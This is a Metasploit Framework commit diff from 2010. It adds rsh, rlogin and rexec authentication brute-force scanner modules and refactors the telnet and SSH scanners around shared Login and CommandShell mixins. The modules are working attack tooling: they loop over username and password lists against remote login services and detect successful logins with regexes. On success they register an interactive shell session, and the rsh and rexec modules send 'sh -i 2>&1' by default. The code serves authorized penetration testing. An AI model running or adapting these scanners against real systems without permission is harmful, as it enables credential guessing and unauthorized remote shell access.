Super-duper rservices commit -

1. Added rsh, rlogin, and rexec auth brute scanners
2. Login negotation moved into new Msf::Auxiliary::Login mixin
3. Centralized session registration for auth brute scanners
4. Telnet and SSH auth brute scanners updated to use new mixins
5. Previously committed rservices mixin (r11093)



git-svn-id: file:///home/svn/framework3/trunk@11106 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Joshua Drake 2010-11-23 01:23:24 +00:00
parent 90182c01f5
commit 9c668b8daf
10 changed files with 958 additions and 258 deletions

View File

@ -0,0 +1,55 @@
##
# $Id$
##
require 'msf/base/sessions/command_shell_options'
module Msf
###
#
# This module provides methods for scanning modules that yield
# Command Shell sessions.
#
###
module Auxiliary::CommandShell
include Msf::Sessions::CommandShellOptions
#
# Ghetto
#
module CRLFLineEndings
def put(str)
return super if not str
super(str.strip + "\r\n")
end
end
def start_session(obj, info, ds_merge, crlf = false, sock = nil)
if crlf
# Windows telnet server requires \r\n line endings and it doesn't
# seem to affect anything else.
obj.sock.extend(CRLFLineEndings)
end
sock ||= obj.sock
sess = Msf::Sessions::CommandShell.new(sock)
sess.set_from_exploit(obj)
sess.info = info
# Clean up the stored data
sess.exploit_datastore.merge!(ds_merge)
# Prevent the socket from being closed
obj.sockets.delete(sock)
obj.sock = nil if obj.respond_to? :sock
framework.sessions.register(sess)
sess.process_autoruns(datastore)
end
end
end

View File

@ -0,0 +1,242 @@
##
# $Id$
##
module Msf
###
#
# This module exposes methods that may be useful to exploits that deal with
# servers that require authentication via /bin/login
#
###
module Auxiliary::Login
NULL = "\000"
CR = "\r"
LF = "\n"
EOL = CR + LF
#
# Creates an instance of a login negoation module.
#
def initialize(info = {})
super
# Appended to by each read and gets reset after each send. Doing it
# this way lets us deal with partial reads in the middle of expect
# strings, e.g., the first recv returns "Pa" and the second returns
# "ssword: "
@recvd = ''
@trace = ''
#
# Some of these regexes borrowed from NeXpose, others added from datasets
#
@login_regex = /(?:log[io]n( name|)|user(name|id|))\s*\:/i
@password_regex = /(?:password|passwd)\s*\:/i
@false_failure_regex = /(?:(^\s*last)\ login *\:|allows only\ .*\ Telnet\ Client\ License)/i
@failure_regex = /(?:
Incorrect | Unknown | Fail | Invalid |
Login | Password | Passwd | Username |
Unable | Error | Denied | Reject |
Refuse | Close | Closing | %\ Bad |
Sorry |
Not\ on\ system\ console |
Enter\ username\ and\ password |
Auto\ Apply\ On |
YOU\ LOGGED\ IN\ USING\ ALL\ UPPERCASE\ CHARACTERS|
\n\*$ |
(Login ?|User ?)(name|): |
^\s*\<[a-f0-9]+\>\s*$ |
^\s*220.*FTP
)/mix
@waiting_regex = /(?:
.*please\ wait.* |
.*one\ minute.*
)/mix
@busy_regex = /(?:
Another\ telnet\ session\ is\ in\ progress | Disconnecting\.\.\.
)/mix
@success_regex = /(?:
list\ of\ built-in |
sh.*[\#\$]\s*$ |
\[\/\]\s*$ |
or\ the\ MENU\ system |
Password\ is\ not\ set |
logging\ in\ as\ visitor |
Login\ successful
)/mix
end
#
# Appends to the @recvd buffer which is used to tell us whether we're at a
# login prompt, a password prompt, or a working shell.
#
def recv(fd=self.sock, timeout=10)
data = ''
begin
data = fd.get_once(-1, timeout.to_i)
return nil if not data or data.length == 0
# combine EOL into "\n"
data.gsub!(/#{EOL}/no, "\n")
@trace << data
@recvd << data
fd.flush
rescue ::EOFError, ::Errno::EPIPE
end
data
end
def login_prompt?
return true if @recvd =~ @login_regex
return false
end
def command_echo?(cmd)
recvn = @recvd.gsub(/^(\s*#{cmd}\r?\n\s*|\s*\*+\s*)/, '')
if(recvn != @recvd)
@recvd = recvn
return true
end
false
end
def waiting_message?
recvn = @recvd.gsub(@waiting_regex, '')
if(recvn != @recvd)
@recvd = recvn.strip
return true
end
false
end
def busy_message?
recvn = @recvd.gsub(@busy_regex, '')
if(recvn != @recvd)
@recvd = recvn.strip
return true
end
false
end
def password_prompt?
return true if @recvd =~ @password_regex
return false
end
def login_failed?
# Naively, failure means matching the failure regex.
#
# However, this leads to problems with false positives in the case of
# "login:" because unix systems commonly show "Last login: Sat Jan 3
# 20:22:52" upon successful login, so check against a false-positive
# regex, also.
#
# Empty strings should not count
if @recvd.strip.length == 0
return true
end
# If we have not seen a newline, this is likely an echo'd prompt
if ! @recvd.index("\n")
return true
end
# We do have a set of highly-accurate success patterns
if (@recvd =~ @success_regex)
return false
end
if @recvd =~ @failure_regex
if @recvd !~ @false_failure_regex
return true
end
end
return false
end
def login_succeeded?
# Much easier to test for failure than success because a few key words
# mean failure whereas all kinds of crap is used for success, much of
# which also shows up in failure messages.
return (not login_failed?)
end
#
# This method logs in as the supplied user by transmitting the username
#
def send_user(user, nsock = self.sock)
got_prompt = wait_for(@login_regex)
if not got_prompt
print_error("#{rhost} - Something is wrong, didn't get a login prompt")
end
return send_recv("#{user}\r\n")
end
#
# This method completes user authentication by sending the supplied password
#
def send_pass(pass, nsock = self.sock)
got_prompt = wait_for(@password_regex)
if not got_prompt
print_error("#{rhost} - Something is wrong, didn't get a password prompt")
end
return send_recv("#{pass}\r\n")
end
def send_recv(msg, nsock = self.sock)
raw_send(msg, nsock)
recv_all(nsock)
return @recvd
end
def recv_all(nsock = self.sock, timeout = 10)
# Make sure we read something in
wait_for(/./)
end
#
# This method transmits a telnet command and does not wait for a response
#
# Resets the @recvd buffer
#
def raw_send(cmd, nsock = self.sock)
@recvd = ''
@trace << cmd
nsock.put(cmd)
end
#
# Wait for the supplied string (or Regexp) to show up on the socket, or a
# timeout
#
def wait_for(expect, nsock = self.sock)
if expect.kind_of? Regexp
regx = expect
else
regx = /#{Regexp.quote(expect)}/i
end
return true if @recvd =~ regx
resp = ''
while (resp and not @recvd =~ regx)
resp = recv(nsock)
end
return (@recvd =~ regx)
end
end
end

View File

@ -1,3 +1,7 @@
##
# $Id$
##
# #
# Auxiliary mixins # Auxiliary mixins
# #
@ -9,3 +13,5 @@ require 'msf/core/auxiliary/scanner'
require 'msf/core/auxiliary/timed' require 'msf/core/auxiliary/timed'
require 'msf/core/auxiliary/wmapmodule' require 'msf/core/auxiliary/wmapmodule'
require 'msf/core/auxiliary/crawler' require 'msf/core/auxiliary/crawler'
require 'msf/core/auxiliary/commandshell'
require 'msf/core/auxiliary/login'

View File

@ -1,3 +1,7 @@
##
# $Id$
##
module Msf module Msf
require 'msf/core/exploit/tcp' require 'msf/core/exploit/tcp'
@ -11,6 +15,7 @@ require 'msf/core/exploit/tcp'
module Exploit::Remote::Telnet module Exploit::Remote::Telnet
include Exploit::Remote::Tcp include Exploit::Remote::Tcp
include Auxiliary::Login
# Borrowing constants from Ruby's Net::Telnet class (ruby license) # Borrowing constants from Ruby's Net::Telnet class (ruby license)
IAC = 255.chr # "\377" # "\xff" # interpret as command IAC = 255.chr # "\377" # "\xff" # interpret as command
@ -77,11 +82,6 @@ module Exploit::Remote::Telnet
OPT_NEW_ENVIRON = 39.chr # "'" # "\x27" # New Environment Option OPT_NEW_ENVIRON = 39.chr # "'" # "\x27" # New Environment Option
OPT_EXOPL = 255.chr # "\377" # "\xff" # Extended-Options-List OPT_EXOPL = 255.chr # "\377" # "\xff" # Extended-Options-List
NULL = "\000"
CR = "\015"
LF = "\012"
EOL = CR + LF
# #
# Creates an instance of a Telnet exploit module. # Creates an instance of a Telnet exploit module.
@ -106,53 +106,6 @@ module Exploit::Remote::Telnet
register_autofilter_ports([ 23 ]) register_autofilter_ports([ 23 ])
register_autofilter_services(%W{ telnet }) register_autofilter_services(%W{ telnet })
# Appended to by each read and gets reset after each send. Doing it
# this way lets us deal with partial reads in the middle of expect
# strings, e.g., the first recv returns "Pa" and the second returns
# "ssword: "
@recvd = ''
#
# Some of these regexes borrowed from NeXpose, others added from datasets
#
@login_regex = /(?:log[io]n( name|)|user(name|id|))\s*\:/i
@password_regex = /(?:password|passwd)\s*\:/i
@false_failure_regex = /(?:(^\s*last)\ login *\:|allows only\ .*\ Telnet\ Client\ License)/i
@failure_regex = /(?:
Incorrect | Unknown | Fail | Invalid |
Login | Password | Passwd | Username |
Unable | Error | Denied | Reject |
Refuse | Close | Closing | %\ Bad |
Sorry |
Not\ on\ system\ console |
Enter\ username\ and\ password |
Auto\ Apply\ On |
YOU\ LOGGED\ IN\ USING\ ALL\ UPPERCASE\ CHARACTERS|
\n\*$ |
(Login ?|User ?)(name|): |
^\s*\<[a-f0-9]+\>\s*$ |
^\s*220.*FTP
)/mix
@waiting_regex = /(?:
.*please\ wait.* |
.*one\ minute.*
)/mix
@busy_regex = /(?:
Another\ telnet\ session\ is\ in\ progress | Disconnecting\.\.\.
)/mix
@success_regex = /(?:
list\ of\ built-in |
sh.*[\#\$]\s*$ |
\[\/\]\s*$ |
or\ the\ MENU\ system |
Password\ is\ not\ set |
logging\ in\ as\ visitor |
Login\ successful
)/mix
end end
# #
@ -172,7 +125,7 @@ module Exploit::Remote::Telnet
begin begin
Timeout.timeout(banner_timeout) do Timeout.timeout(banner_timeout) do
while(true) while(true)
buff = recv_telnet(fd) buff = recv(fd)
self.banner << buff if buff self.banner << buff if buff
if(self.banner =~ @login_regex or self.banner =~ @password_regex) if(self.banner =~ @login_regex or self.banner =~ @password_regex)
break break
@ -192,13 +145,17 @@ module Exploit::Remote::Telnet
end end
def recv(fd=self.sock, timeout=datastore['TelnetTimeout'])
recv_telnet(fd, timeout)
end
# #
# Handle telnet option negotiation # Handle telnet option negotiation
# #
# Appends to the @recvd buffer which is used to tell us whether we're at a # Appends to the @recvd buffer which is used to tell us whether we're at a
# login prompt, a password prompt, or a working shell. # login prompt, a password prompt, or a working shell.
# #
def recv_telnet(fd=self.sock, timeout=datastore['TelnetTimeout']) def recv_telnet(fd, timeout)
data = '' data = ''
@ -262,82 +219,6 @@ module Exploit::Remote::Telnet
data data
end end
def login_prompt?
return true if @recvd =~ @login_regex
return false
end
def command_echo?(cmd)
recvn = @recvd.gsub(/^(\s*#{cmd}\r?\n\s*|\s*\*+\s*)/, '')
if(recvn != @recvd)
@recvd = recvn
return true
end
false
end
def waiting_message?
recvn = @recvd.gsub(@waiting_regex, '')
if(recvn != @recvd)
@recvd = recvn.strip
return true
end
false
end
def busy_message?
recvn = @recvd.gsub(@busy_regex, '')
if(recvn != @recvd)
@recvd = recvn.strip
return true
end
false
end
def password_prompt?
return true if @recvd =~ @password_regex
return false
end
def login_failed?
# Naively, failure means matching the failure regex.
#
# However, this leads to problems with false positives in the case of
# "login:" because unix systems commonly show "Last login: Sat Jan 3
# 20:22:52" upon successful login, so check against a false-positive
# regex, also.
#
# Empty strings should not count
if @recvd.strip.length == 0
return true
end
# If we have not seen a newline, this is likely an echo'd prompt
if ! @recvd.index("\n")
return true
end
# We do have a set of highly-accurate success patterns
if (@recvd =~ @success_regex)
return false
end
if @recvd =~ @failure_regex
if @recvd !~ @false_failure_regex
return true
end
end
return false
end
def login_succeeded?
# Much easier to test for failure than success because a few key words
# mean failure whereas all kinds of crap is used for success, much of
# which also shows up in failure messages.
return (not login_failed?)
end
def user def user
datastore["USERNAME"] datastore["USERNAME"]
end end
@ -346,70 +227,6 @@ module Exploit::Remote::Telnet
datastore["PASSWORD"] datastore["PASSWORD"]
end end
#
# This method logs in as the supplied user by transmitting the username
#
def send_user(user, nsock = self.sock)
got_prompt = wait_for(@login_regex)
if not got_prompt
print_error("#{rhost} - Something is wrong, didn't get a login prompt")
end
return send_recv("#{user}\r\n")
end
#
# This method completes user authentication by sending the supplied password
#
def send_pass(pass, nsock = self.sock)
got_prompt = wait_for(@password_regex)
if not got_prompt
print_error("#{rhost} - Something is wrong, didn't get a password prompt")
end
return send_recv("#{pass}\r\n")
end
def send_recv(msg, nsock = self.sock)
raw_send(msg, nsock)
recv_all(nsock)
return @recvd
end
def recv_all(nsock = self.sock, timeout = tel_timeout)
# Make sure we read something in
wait_for(/./)
end
#
# This method transmits a telnet command and does not wait for a response
#
# Resets the @recvd buffer
#
def raw_send(cmd, nsock = self.sock)
@recvd = ''
@trace << cmd
nsock.put(cmd)
end
#
# Wait for the supplied string (or Regexp) to show up on the socket, or a
# timeout
#
def wait_for(expect, nsock = self.sock)
if expect.kind_of? Regexp
regx = expect
else
regx = /#{Regexp.quote(expect)}/i
end
return true if @recvd =~ regx
resp = ''
while (resp and not @recvd =~ regx)
resp = recv_telnet(nsock)
end
return (@recvd =~ regx)
end
## ##
# #
# Wrappers for getters # Wrappers for getters

View File

@ -0,0 +1,193 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::RServices
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::CommandShell
def initialize
super(
'Name' => 'rexec Authentication Scanner',
'Version' => '$Revision$',
'Description' => %q{
This module will test an rexec service on a range of machines and
report successful logins.
NOTE: This module requires access to bind to privileged ports (below 1024).
},
'References' =>
[
[ 'CVE', '1999-0651' ]
],
'Author' => [ 'jduck '],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(512),
OptBool.new('ENABLE_STDERR', [ true, 'Enables connecting the stderr port', false ]),
OptInt.new( 'STDERR_PORT', [ false, 'The port to listen on for stderr', nil ])
], self.class)
end
def run_host(ip)
print_status("#{ip}:#{rport} - Starting rexec sweep")
if datastore['ENABLE_STDERR']
# For each host, bind a privileged listening port for the target to connect
# back to.
ret = listen_on_random_port(datastore['STDERR_PORT'])
if not ret
return :abort
end
sd, stderr_port = ret
else
sd = stderr_port = nil
end
# The maximum time for a host is set here.
Timeout.timeout(300) {
each_user_pass { |user, pass|
do_login(user, pass, sd, stderr_port)
}
}
sd.close if sd
end
def do_login(user, pass, sfd, stderr_port)
vprint_status("#{target_host}:#{rport} - Attempting rexec with username:password '#{user}':'#{pass}'")
cmd = datastore['CMD']
cmd ||= 'sh -i 2>&1'
# We must connect from a privileged port.
return :abort if not connect
sock.put("#{stderr_port}\x00#{user}\x00#{pass}\x00#{cmd}\x00")
if sfd and stderr_port
stderr_sock = sfd.accept
add_socket(stderr_sock)
else
stderr_sock = nil
end
# Read the expected nul byte response.
buf = sock.get_once(1)
return :abort if buf != "\x00"
# NOTE: We report this here, since we are awfully convinced now that this is really
# an rexec service.
report_service(
:host => rhost,
:port => rport,
:proto => 'tcp',
:name => 'rexec'
)
# should we report a vuln here? rexec allowed w/o password?!
print_good("#{target_host}:#{rport}, rexec '#{user}' : '#{pass}'")
start_rexec_session(rhost, rport, user, pass, buf, stderr_sock)
return :next_user
# For debugging only.
#rescue ::Exception
# print_error("#{$!}")
# return :abort
ensure
disconnect()
end
#
# This is only needed by rexec so it is not in the rservices mixin
#
def listen_on_random_port(specific_port = 0)
stderr_port = nil
if specific_port > 0
stderr_port = specific_port
sd = listen_on_port(stderr_port)
else
stderr_port = 1024 + rand(0x10000 - 1024)
512.times {
sd = listen_on_port(stderr_port)
break if sd
stderr_port = 1024 + rand(0x10000 - 1024)
}
end
if not sd
print_error("Unable to bind to listener port")
return false
end
add_socket(sd)
print_status("Listening on port #{stderr_port}")
[ sd, stderr_port ]
end
def listen_on_port(stderr_port)
vprint_status("Trying to listen on port #{stderr_port} ..")
sd = nil
begin
sd = Rex::Socket.create_tcp_server('LocalPort' => stderr_port)
rescue Rex::AddressInUse
# Ignore and try again
end
sd
end
def start_rexec_session(host, port, user, pass, proof, stderr_sock)
report_auth_info(
:host => host,
:port => port,
:sname => 'rexec',
:user => user,
:pass => pass,
:proof => proof,
:active => true
)
merge_me = {
'USERPASS_FILE' => nil,
'USER_FILE' => nil,
'PASS_FILE' => nil,
'USERNAME' => user,
'PASSWORD' => pass,
# Save a reference to the socket so we don't GC prematurely
:stderr_sock => stderr_sock
}
# Don't tie the life of this socket to the exploit
self.sockets.delete(stderr_sock)
start_session(self, "rexec #{user}:#{pass} (#{host}:#{port})", merge_me)
end
end

View File

@ -0,0 +1,234 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::RServices
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Login
include Msf::Auxiliary::CommandShell
def initialize
super(
'Name' => 'rlogin Authentication Scanner',
'Version' => '$Revision$',
'Description' => %q{
This module will test an rlogin service on a range of machines and
report successful logins.
NOTE: This module requires access to bind to privileged ports (below 1024).
},
'References' =>
[
[ 'CVE', '1999-0651' ]
],
'Author' => [ 'jduck' ],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(513),
OptString.new('TERM', [ true, 'The terminal type desired', 'vt100' ]),
OptString.new('SPEED', [ true, 'The terminal speed desired', '9600' ])
], self.class)
end
def run_host(ip)
print_status("#{ip}:#{rport} - Starting rlogin sweep")
luser = datastore['LOCALUSER']
luser ||= 'root'
begin
each_user_pass { |user, pass|
try_user_pass(user, pass, luser)
}
rescue ::Rex::ConnectionError
nil
end
end
def try_user_pass(user, pass, luser)
vprint_status "#{rhost}:#{rport} rlogin - Attempting: '#{user}':'#{pass}' from '#{luser}'"
this_attempt ||= 0
ret = nil
while this_attempt <= 3 and (ret.nil? or ret == :refused)
if this_attempt > 0
select(nil,nil,nil, 2**this_attempt)
vprint_error "#{rhost}:#{rport} rlogin - Retrying '#{user}':'#{pass}' from '#{luser}' due to reset"
end
ret = do_login(user, pass, luser)
this_attempt += 1
end
case ret
when :no_auth_required
print_good "#{rhost}:#{rport} rlogin - No authentication required!"
return :abort
when :no_pass_prompt
vprint_status "#{rhost}:#{rport} rlogin - Skipping '#{user}' due to missing password prompt"
return :skip_user
when :timeout
vprint_status "#{rhost}:#{rport} rlogin - Skipping '#{user}':'#{pass}' from '#{luser}' due to timeout"
when :busy
vprint_error "#{rhost}:#{rport} rlogin - Skipping '#{user}':'#{pass}' from '#{luser}' due to busy state"
when :refused
vprint_error "#{rhost}:#{rport} rlogin - Skipping '#{user}':'#{pass}' from '#{luser}' due to connection refused."
when :skip_user
vprint_status "#{rhost}:#{rport} rlogin - Skipping disallowed user '#{user}' for subsequent requests"
return :skip_user
when :success
# session created inside do_login, ignore
return :next_user
else
if login_succeeded?
start_rlogin_session(rhost, rport, user, luser, pass, @trace)
return :next_user
end
end
end
# Sometimes telnet servers start RSTing if you get them angry.
# This is a short term fix; the problem is that we don't know
# if it's going to reset forever, or just this time, or randomly.
# A better solution is to get the socket connect to try again
# with a little backoff.
def connect_reset_safe
begin
# We must connect from a privileged port.
connect_from_privileged_port
rescue Rex::ConnectionRefused
return :refused
end
return :connected
end
def do_login(user, pass, luser)
return :refused if connect_reset_safe == :refused
sock.put("\x00#{luser}\x00#{user}\x00#{datastore['TERM']}/#{datastore['SPEED']}\x00")
# Read the expected nul byte response.
buf = sock.get_once(1)
return :abort if buf != "\x00"
# NOTE: We report this here, since we are awfully convinced now that this is really
# an rlogin service.
report_service(
:host => rhost,
:port => rport,
:proto => 'tcp',
:name => 'rlogin'
)
# Receive the initial response
Timeout.timeout(10) do
recv
end
if busy_message?
self.sock.close unless self.sock.closed?
return :busy
end
# If we're not trusted, we should get a password prompt. Otherwise, we might be in already :)
if login_succeeded?
# should we report a vuln here? rlogin allowed w/o password?!
print_good("#{target_host}:#{rport}, rlogin '#{user}' from '#{luser}' with no password.")
start_rlogin_session(rhost, rport, user, luser, pass, @trace)
return :success
end
recvd_sample = @recvd.dup
# Allow for slow echos
1.upto(10) do
recv_telnet(self.sock, 0.10) unless @recvd.nil? or @recvd[/#{@password_prompt}/]
end
vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")
# Not successful yet, maybe we got a password prompt.
if password_prompt?
send_pass(pass)
# Allow for slow echos
1.upto(10) do
recv_telnet(self.sock, 0.10) if @recvd == recvd_sample
end
vprint_status("#{rhost}:#{rport} Result: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")
if login_succeeded?
print_good("#{target_host}:#{rport}, rlogin '#{user}' : '#{pass}' from '#{luser}'")
start_rlogin_session(rhost, rport, user, luser, pass, @trace)
return :success
else
return :fail
end
else
if login_succeeded? && @recvd !~ /^#{user}\x0d*\x0a/
return :success
else
self.sock.close unless self.sock.closed?
return :no_pass_prompt
end
end
# For debugging only.
#rescue ::Exception
# print_error("#{$!}")
ensure
disconnect()
end
def start_rlogin_session(host, port, user, luser, pass, proof)
report_auth_info(
:host => host,
:port => port,
:sname => 'rlogin',
:user => user,
:pass => pass,
:luser => luser,
:proof => proof,
:active => true
)
merge_me = {
'USERPASS_FILE' => nil,
'USER_FILE' => nil,
'PASS_FILE' => nil,
'USERNAME' => user,
'LOCALUSER' => luser,
'PASSWORD' => pass
}
start_session(self, "RLOGIN #{user}:#{pass} (#{host}:#{port})", merge_me)
end
end

View File

@ -0,0 +1,185 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::RServices
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::CommandShell
def initialize
super(
'Name' => 'rsh Authentication Scanner',
'Version' => '$Revision$',
'Description' => %q{
This module will test a shell (rsh) service on a range of machines and
report successful logins.
NOTE: This module requires access to bind to privileged ports (below 1024).
},
'References' =>
[
[ 'CVE', '1999-0651' ]
],
'Author' => [ 'jduck '],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(514),
OptBool.new('ENABLE_STDERR', [ true, 'Enables connecting the stderr port', false ])
], self.class)
end
def run_host(ip)
print_status("#{ip}:#{rport} - Starting rsh sweep")
if datastore['ENABLE_STDERR']
# For each host, bind a privileged listening port for the target to connect
# back to.
ret = listen_on_privileged_port
if not ret
return :abort
end
sd, lport = ret
else
sd = lport = nil
end
# The maximum time for a host is set here.
Timeout.timeout(300) {
each_user_pass { |user, pass|
do_login(user, pass, sd, lport)
}
}
sd.close if sd
end
def do_login(user, pass, sfd, lport)
vprint_status("#{target_host}:#{rport} - Attempting rsh with username:password '#{user}':'#{pass}'")
cmd = datastore['CMD']
cmd ||= 'sh -i 2>&1'
luser = datastore['LOCALUSER']
luser ||= 'root'
# We must connect from a privileged port.
return :abort if not connect_from_privileged_port(1022)
sock.put("#{lport}\x00#{luser}\x00#{user}\x00#{cmd}\x00")
if sfd and lport
stderr_sock = sfd.accept
add_socket(stderr_sock)
else
stderr_sock = nil
end
# Read the expected nul byte response.
buf = sock.get_once(1)
return :abort if buf != "\x00"
# NOTE: We report this here, since we are awfully convinced now that this is really
# an rsh service.
report_service(
:host => rhost,
:port => rport,
:proto => 'tcp',
:name => 'rsh'
)
# should we report a vuln here? rsh allowed w/o password?!
print_good("#{target_host}:#{rport}, rsh '#{user}' from '#{luser}' with no password.")
start_rsh_session(rhost, rport, user, luser, pass, buf, stderr_sock)
return :next_user
# For debugging only.
#rescue ::Exception
# print_error("#{$!}")
# return :abort
ensure
disconnect()
end
#
# This is only needed by RSH so it is not in the rservices mixin
#
def listen_on_privileged_port
lport = 1023
sd = nil
while lport > 512
#vprint_status("Trying to listen on port #{lport} ..")
sd = nil
begin
sd = Rex::Socket.create_tcp_server('LocalPort' => lport)
rescue Rex::AddressInUse
# Ignore and try again
end
break if sd
lport -= 1
end
if not sd
print_error("Unable to bind to listener port")
return false
end
add_socket(sd)
#print_status("Listening on port #{lport}")
[ sd, lport ]
end
def start_rsh_session(host, port, user, luser, pass, proof, stderr_sock)
report_auth_info(
:host => host,
:port => port,
:sname => 'rsh',
:user => user,
:luser => luser,
:pass => pass,
:proof => proof,
:active => true
)
merge_me = {
'USERPASS_FILE' => nil,
'USER_FILE' => nil,
'PASS_FILE' => nil,
'USERNAME' => user,
'LOCALUSER' => luser,
'PASSWORD' => pass,
# Save a reference to the socket so we don't GC prematurely
:stderr_sock => stderr_sock
}
# Don't tie the life of this socket to the exploit
self.sockets.delete(stderr_sock)
start_session(self, "RSH #{user}:#{pass} (#{host}:#{port})", merge_me)
end
end

View File

@ -11,15 +11,13 @@
require 'msf/core' require 'msf/core'
require 'net/ssh' require 'net/ssh'
require 'msf/base/sessions/command_shell_options'
class Metasploit3 < Msf::Auxiliary class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Scanner include Msf::Auxiliary::Scanner
include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
include Msf::Auxiliary::CommandShell
include Msf::Sessions::CommandShellOptions
attr_accessor :ssh_socket, :good_credentials attr_accessor :ssh_socket, :good_credentials
@ -98,19 +96,15 @@ class Metasploit3 < Msf::Auxiliary
# Create a new session # Create a new session
conn = Net::SSH::CommandStream.new(self.ssh_socket, '/bin/sh', true) conn = Net::SSH::CommandStream.new(self.ssh_socket, '/bin/sh', true)
sess = Msf::Sessions::CommandShell.new(conn.lsock)
sess.set_from_exploit(self)
sess.info = "SSH #{user}:#{pass} (#{ip}:#{port})"
# Clean up the stored data merge_me = {
sess.exploit_datastore['USERPASS_FILE'] = nil 'USERPASS_FILE' => nil,
sess.exploit_datastore['USER_FILE'] = nil 'USER_FILE' => nil,
sess.exploit_datastore['PASS_FILE'] = nil 'PASS_FILE' => nil,
sess.exploit_datastore['USERNAME'] = user 'USERNAME' => user,
sess.exploit_datastore['PASSWORD'] = pass 'PASSWORD' => pass
}
framework.sessions.register(sess) start_session(self, "SSH #{user}:#{pass} (#{ip}:#{port})", merge_me, false, conn.lsock)
sess.process_autoruns(datastore)
return [:success, proof] return [:success, proof]
else else

View File

@ -11,15 +11,13 @@
require 'msf/core' require 'msf/core'
require 'net/ssh' require 'net/ssh'
require 'msf/base/sessions/command_shell_options'
class Metasploit3 < Msf::Auxiliary class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Scanner include Msf::Auxiliary::Scanner
include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
include Msf::Auxiliary::CommandShell
include Msf::Sessions::CommandShellOptions
attr_accessor :ssh_socket, :good_credentials, :good_key attr_accessor :ssh_socket, :good_credentials, :good_key
@ -212,24 +210,24 @@ class Metasploit3 < Msf::Auxiliary
# Create a new session # Create a new session
conn = Net::SSH::CommandStream.new(self.ssh_socket, '/bin/sh', true) conn = Net::SSH::CommandStream.new(self.ssh_socket, '/bin/sh', true)
sess = Msf::Sessions::CommandShell.new(conn.lsock)
sess.set_from_exploit(self)
sess.info = "SSH #{user}:#{self.good_key} (#{ip}:#{port})"
# Clean up the stored data - need to stash the keyfile into # Clean up the stored data - need to stash the keyfile into
# a datastore for later reuse. # a datastore for later reuse.
merge_me = {
'USERPASS_FILE' => nil,
'USER_FILE' => nil,
'PASS_FILE' => nil,
'USERNAME' => user
}
if datastore['KEY_FILE'] and !datastore['KEY_FILE'].empty? if datastore['KEY_FILE'] and !datastore['KEY_FILE'].empty?
keyfile = File.open(datastore['KEY_FILE'], "rb") {|f| f.read(f.stat.size)} keyfile = File.open(datastore['KEY_FILE'], "rb") {|f| f.read(f.stat.size)}
sess.exploit_datastore['SSH_KEYFILE_B64'] = [keyfile].pack("m*").gsub("\n","") merge_me.merge!(
sess.exploit_datastore['KEY_FILE'] = nil 'SSH_KEYFILE_B64' => [keyfile].pack("m*").gsub("\n",""),
'KEY_FILE' => nil
)
end end
sess.exploit_datastore['USERPASS_FILE'] = nil
sess.exploit_datastore['USER_FILE'] = nil
sess.exploit_datastore['PASS_FILE'] = nil
sess.exploit_datastore['USERNAME'] = user
framework.sessions.register(sess) start_session(self, "SSH #{user}:#{self.good_key} (#{ip}:#{port})", merge_me, false, conn.lsock)
sess.process_autoruns(datastore)
return [:success, proof] return [:success, proof]
else else

View File

@ -10,27 +10,14 @@
## ##
require 'msf/core' require 'msf/core'
require 'msf/base/sessions/command_shell_options'
#
# Ghetto
#
module CRLFLineEndings
def put(str)
return super if not str
super(str.strip + "\r\n")
end
end
class Metasploit3 < Msf::Auxiliary class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Telnet include Msf::Exploit::Remote::Telnet
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner include Msf::Auxiliary::Scanner
include Msf::Auxiliary::CommandShell
include Msf::Sessions::CommandShellOptions
def initialize def initialize
super( super(
@ -237,26 +224,15 @@ class Metasploit3 < Msf::Auxiliary
end end
def start_telnet_session(host, port, user, pass) def start_telnet_session(host, port, user, pass)
# Windows telnet server requires \r\n line endings and it doesn't merge_me = {
# seem to affect anything else. 'USERPASS_FILE' => nil,
sock.extend(CRLFLineEndings) 'USER_FILE' => nil,
sess = Msf::Sessions::CommandShell.new(sock) 'PASS_FILE' => nil,
sess.set_from_exploit(self) 'USERNAME' => user,
sess.info = "TELNET #{user}:#{pass} (#{host}:#{port})" 'PASSWORD' => pass
}
# Clean up the stored data start_session(self, "TELNET #{user}:#{pass} (#{host}:#{port})", merge_me, true)
sess.exploit_datastore['USERPASS_FILE'] = nil
sess.exploit_datastore['USER_FILE'] = nil
sess.exploit_datastore['PASS_FILE'] = nil
sess.exploit_datastore['USERNAME'] = user
